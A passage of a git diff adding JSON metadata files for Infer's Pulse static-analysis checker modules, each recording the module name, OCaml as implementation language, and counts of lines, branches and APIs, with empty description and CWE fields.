/dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseMemory.json @@ -0,0 +1,13 @@ +{ + "name": "PulseBaseMemory", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 157, + "branches": 20, + "apis": 32, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseStack.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseStack.json new file mode 100644 index 0000000..20d059d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseStack.json @@ -0,0 +1,13 @@ +{ + "name": "PulseBaseStack", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 84, + "branches": 13, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBasicInterface.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBasicInterface.json new file mode 100644 index 0000000..6f07d39 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBasicInterface.json @@ -0,0 +1,13 @@ +{ + "name": "PulseBasicInterface", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 46, + "branches": 0, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCItv.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCItv.json new file mode 100644 index 0000000..1409d1d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCItv.json @@ -0,0 +1,13 @@ +{ + "name": "PulseCItv", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 408, + "branches": 57, + "apis": 165, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCallEvent.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCallEvent.json new file mode 100644 index 0000000..65fb188 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCallEvent.json @@ -0,0 +1,13 @@ +{ + "name": "PulseCallEvent", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 39, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCallOperations.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCallOperations.json new file mode 100644 index 0000000..e98dc27 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCallOperations.json @@ -0,0 +1,13 @@ +{ + "name": "PulseCallOperations", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 944, + "branches": 101, + "apis": 225, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCanonValue.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCanonValue.json new file mode 100644 index 0000000..86234bc --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCanonValue.json @@ -0,0 +1,13 @@ +{ + "name": "PulseCanonValue", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 119, + "branches": 11, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCheapCopyTypes.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCheapCopyTypes.json new file mode 100644 index 0000000..163e1c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseCheapCopyTypes.json @@ -0,0 +1,13 @@ +{ + "name": "PulseCheapCopyTypes", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 15, + "branches": 0, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseContext.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseContext.json new file mode 100644 index 0000000..6e2fbd7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseContext.json @@ -0,0 +1,13 @@ +{ + "name": "PulseContext", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 26, + "branches": 3, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDecompiler.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDecompiler.json new file mode 100644 index 0000000..21f7cc9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDecompiler.json @@ -0,0 +1,13 @@ +{ + "name": "PulseDecompiler", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 129, + "branches": 17, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDecompilerExpr.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDecompilerExpr.json new file mode 100644 index 0000000..7d5af7c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDecompilerExpr.json @@ -0,0 +1,13 @@ +{ + "name": "PulseDecompilerExpr", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 198, + "branches": 24, + "apis": 37, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDiagnostic.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDiagnostic.json new file mode 100644 index 0000000..fc1acdb --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDiagnostic.json @@ -0,0 +1,13 @@ +{ + "name": "PulseDiagnostic", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1196, + "branches": 110, + "apis": 180, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDomainInterface.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDomainInterface.json new file mode 100644 index 0000000..8cb32c0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseDomainInterface.json @@ -0,0 +1,13 @@ +{ + "name": "PulseDomainInterface", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 65, + "branches": 2, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseExecutionDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseExecutionDomain.json new file mode 100644 index 0000000..1e3a6fd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseExecutionDomain.json @@ -0,0 +1,13 @@ +{ + "name": "PulseExecutionDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 107, + "branches": 8, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseFormula.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseFormula.json new file mode 100644 index 0000000..4bd86c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseFormula.json @@ -0,0 +1,13 @@ +{ + "name": "PulseFormula", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 4172, + "branches": 452, + "apis": 1227, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseInterproc.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseInterproc.json new file mode 100644 index 0000000..a0058e7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseInterproc.json @@ -0,0 +1,13 @@ +{ + "name": "PulseInterproc", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1232, + "branches": 111, + "apis": 248, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseInvalidation.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseInvalidation.json new file mode 100644 index 0000000..7a9262a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseInvalidation.json @@ -0,0 +1,13 @@ +{ + "name": "PulseInvalidation", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 208, + "branches": 14, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseJoin.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseJoin.json new file mode 100644 index 0000000..14c172f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseJoin.json @@ -0,0 +1,13 @@ +{ + "name": "PulseJoin", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 392, + "branches": 35, + "apis": 110, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseLatentIssue.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseLatentIssue.json new file mode 100644 index 0000000..1315e0e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseLatentIssue.json @@ -0,0 +1,13 @@ +{ + "name": "PulseLatentIssue", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 111, + "branches": 8, + "apis": 32, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseLoadInstrModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseLoadInstrModels.json new file mode 100644 index 0000000..caa78ac --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseLoadInstrModels.json @@ -0,0 +1,13 @@ +{ + "name": "PulseLoadInstrModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 45, + "branches": 4, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModels.json new file mode 100644 index 0000000..21abfb5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModels.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 35, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsAndroid.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsAndroid.json new file mode 100644 index 0000000..d6bcda4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsAndroid.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsAndroid", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 51, + "branches": 0, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsC.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsC.json new file mode 100644 index 0000000..290bec8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsC.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsC", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 464, + "branches": 15, + "apis": 215, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsCSharp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsCSharp.json new file mode 100644 index 0000000..8024666 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsCSharp.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsCSharp", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 507, + "branches": 17, + "apis": 136, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsCpp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsCpp.json new file mode 100644 index 0000000..e325818 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsCpp.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsCpp", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1008, + "branches": 30, + "apis": 289, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsDSL.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsDSL.json new file mode 100644 index 0000000..b96a262 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsDSL.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsDSL", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 772, + "branches": 43, + "apis": 265, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsErlang.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsErlang.json new file mode 100644 index 0000000..4d22ab5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsErlang.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsErlang", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1646, + "branches": 99, + "apis": 418, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsGenericArrayBackedCollection.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsGenericArrayBackedCollection.json new file mode 100644 index 0000000..c9cedbf --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsGenericArrayBackedCollection.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsGenericArrayBackedCollection", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 212, + "branches": 5, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsHack.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsHack.json new file mode 100644 index 0000000..ee6343d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsHack.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsHack", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1423, + "branches": 84, + "apis": 335, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsImport.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsImport.json new file mode 100644 index 0000000..3a1271b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsImport.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsImport", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 372, + "branches": 31, + "apis": 61, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsJava.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsJava.json new file mode 100644 index 0000000..6a66706 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsJava.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsJava", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 688, + "branches": 12, + "apis": 194, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsLocks.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsLocks.json new file mode 100644 index 0000000..ad82cd4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsLocks.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsLocks", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 95, + "branches": 0, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsObjC.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsObjC.json new file mode 100644 index 0000000..5cfb4d9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsObjC.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsObjC", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 374, + "branches": 5, + "apis": 91, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsOptional.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsOptional.json new file mode 100644 index 0000000..6f9469b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsOptional.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsOptional", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 339, + "branches": 7, + "apis": 115, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsPython.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsPython.json new file mode 100644 index 0000000..eec7e4f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsPython.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsPython", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1272, + "branches": 111, + "apis": 258, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsSmartPointers.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsSmartPointers.json new file mode 100644 index 0000000..259229a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseModelsSmartPointers.json @@ -0,0 +1,13 @@ +{ + "name": "PulseModelsSmartPointers", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 558, + "branches": 24, + "apis": 147, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseMutualRecursion.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseMutualRecursion.json new file mode 100644 index 0000000..ec26979 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseMutualRecursion.json @@ -0,0 +1,13 @@ +{ + "name": "PulseMutualRecursion", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 93, + "branches": 9, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseNonDisjunctiveDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseNonDisjunctiveDomain.json new file mode 100644 index 0000000..ead2065 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseNonDisjunctiveDomain.json @@ -0,0 +1,13 @@ +{ + "name": "PulseNonDisjunctiveDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 657, + "branches": 61, + "apis": 162, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseNonDisjunctiveOperations.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseNonDisjunctiveOperations.json new file mode 100644 index 0000000..464a58f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseNonDisjunctiveOperations.json @@ -0,0 +1,13 @@ +{ + "name": "PulseNonDisjunctiveOperations", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 619, + "branches": 64, + "apis": 165, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseOperationResult.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseOperationResult.json new file mode 100644 index 0000000..822e82e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseOperationResult.json @@ -0,0 +1,13 @@ +{ + "name": "PulseOperationResult", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 138, + "branches": 10, + "apis": 59, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseOperations.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseOperations.json new file mode 100644 index 0000000..3528e1f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseOperations.json @@ -0,0 +1,13 @@ +{ + "name": "PulseOperations", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 880, + "branches": 77, + "apis": 289, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulsePathContext.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulsePathContext.json new file mode 100644 index 0000000..1275b54 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulsePathContext.json @@ -0,0 +1,13 @@ +{ + "name": "PulsePathContext", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 25, + "branches": 1, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulsePp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulsePp.json new file mode 100644 index 0000000..22ebf93 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulsePp.json @@ -0,0 +1,13 @@ +{ + "name": "PulsePp", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 505, + "branches": 75, + "apis": 134, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseRefCounting.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseRefCounting.json new file mode 100644 index 0000000..e085a8f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseRefCounting.json @@ -0,0 +1,13 @@ +{ + "name": "PulseRefCounting", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 108, + "branches": 17, + "apis": 23, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseReport.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseReport.json new file mode 100644 index 0000000..10a7451 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseReport.json @@ -0,0 +1,13 @@ +{ + "name": "PulseReport", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 320, + "branches": 42, + "apis": 61, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseResult.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseResult.json new file mode 100644 index 0000000..d6f53fe --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseResult.json @@ -0,0 +1,13 @@ +{ + "name": "PulseResult", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 125, + "branches": 13, + "apis": 44, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseRetainCycleChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseRetainCycleChecker.json new file mode 100644 index 0000000..801881a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseRetainCycleChecker.json @@ -0,0 +1,13 @@ +{ + "name": "PulseRetainCycleChecker", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 199, + "branches": 23, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSatUnsat.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSatUnsat.json new file mode 100644 index 0000000..6fb70a7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSatUnsat.json @@ -0,0 +1,13 @@ +{ + "name": "PulseSatUnsat", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 54, + "branches": 8, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSkippedCalls.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSkippedCalls.json new file mode 100644 index 0000000..ef6b134 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSkippedCalls.json @@ -0,0 +1,13 @@ +{ + "name": "PulseSkippedCalls", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 24, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSpecialization.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSpecialization.json new file mode 100644 index 0000000..2e8b2ee --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSpecialization.json @@ -0,0 +1,13 @@ +{ + "name": "PulseSpecialization", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 55, + "branches": 2, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSpecializedCallGraph.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSpecializedCallGraph.json new file mode 100644 index 0000000..b729e87 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSpecializedCallGraph.json @@ -0,0 +1,13 @@ +{ + "name": "PulseSpecializedCallGraph", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 98, + "branches": 9, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseSummary.json b/Raw Data/Static Analysis 